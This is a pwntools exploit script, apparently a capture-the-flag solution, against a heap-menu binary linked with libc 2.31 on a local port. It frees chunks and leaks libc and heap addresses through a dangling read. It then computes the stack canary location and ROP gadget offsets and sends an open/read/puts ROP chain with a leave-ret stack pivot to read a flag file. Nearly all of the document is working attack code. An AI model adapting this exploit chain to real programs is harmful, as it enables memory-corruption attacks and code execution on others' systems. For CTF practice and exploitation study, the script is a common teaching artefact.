from
pwn
import
*
import
time
context.log_level
=
'debug'
io
=
lambda
: r.interactive()
sl
=
lambda
a: r.sendline(a)
sla
=
lambda
a,b: r.sendlineafter(a,b)
se
=
lambda
a: r.send(a)
sa
=
lambda
a,b: r.sendafter(a,b)
lg
=
lambda
name,data: log.success(name
+
":"
+
hex
(data))
rcu
=
lambda
a: r.recvuntil(a)
def
z():
gdb.attach(r)
time.sleep(
1
)
def
cho(num):
sla(
"choice:"
,
str
(num))
def
add(idx,sz,con):
cho(
1
)
sla(
"Idx:"
,
str
(idx))
sla(
"Size:"
,
str
(sz))
sa(
"Content:"
,con)
def
show(idx,choice):
cho(
3
)
sla(
"Your choice:"
,
str
(choice))
sla(
"Idx:"
,
str
(idx))
def
edit(idx,content1,content2):
cho(
2
)
sa(
"Idx:"
,idx)
sa(
"context1: "
,content1)
sa(
"context2: "
,content2)
def
delet(idx):
cho(
4
)
sla(
"Idx:"
,
str
(idx))
if
__name__
=
=
'__main__'
:
global
r
global
libc
global
ef
libc
=
ELF(
"./libc-2.31.so"
)
r
=
remote(
"0.0.0.0"
,
9999
)
ef
=
ELF(
"./pwn"
)
ef.checksec()
add(
0
,
0x100
,
"nameless"
)
add(
1
,
0x100
,
"nameless"
)
add(
2
,
0x100
,
"nameless"
)
add(
3
,
0x100
,
"nameless"
)
add(
4
,
0x100
,
"nameless"
)
add(
5
,
0x100
,
"nameless"
)
for
i
in
range
(
0
,
5
):
delet(i)
show(
3
,
1
)
rcu(
"context: "
)
libcbase
=
u64(r.recv(
6
).ljust(
8
,
'\x00'
))
-
0x1ecbe0
show(
2
,
0
)
rcu(
"context: "
)
heap
=
u64(r.recv(
6
).ljust(
8
,
'\x00'
))
-
0x5d0
lg(
"libcbase"
,libcbase)
lg(
"heap"
,heap)
fsbase
=
libcbase
+
0x1f3540
canary
=
fsbase
+
0x28
leave_ret
=
libcbase
+
0x578c8
target
=
heap
+
0xf60
open
=
libcbase
+
libc.sym[
"open"
]
read
=
libcbase
+
libc.sym[
"read"
]
puts
=
libcbase
+
libc.sym[
"puts"
]
pop_rdi_ret
=
libcbase
+
0x23b6a
pop_rsi_ret
=
libcbase
+
0x2601f
pop_rdx_ret
=
libcbase
+
0x142c92
chunk
=
heap
+
0xa10
pd
=
p64(
0
)
+
p64(pop_rdi_ret)
+
p64(chunk)
+
p64(pop_rsi_ret)
+
p64(
0
)
+
p64(pop_rdx_ret)
+
p64(
0
)
+
p64(
open
)
pd
+
=
p64(pop_rdi_ret)
+
p64(
3
)
+
p64(pop_rsi_ret)
+
p64(chunk)
+
p64(pop_rdx_ret)
+
p64(
0x30
)
+
p64(read)
pd
+
=
p64(pop_rdi_ret)
+
p64(chunk)
+
p64(puts)
add(
6
,
0x150
,
"flag\x00"
)
add(
7
,
0x200
,pd)
edit(
"0"
.ljust(
0x30
,
'\x00'
)
+
p64(target)
+
p64(leave_ret),p64(canary),p64(
0
))
io()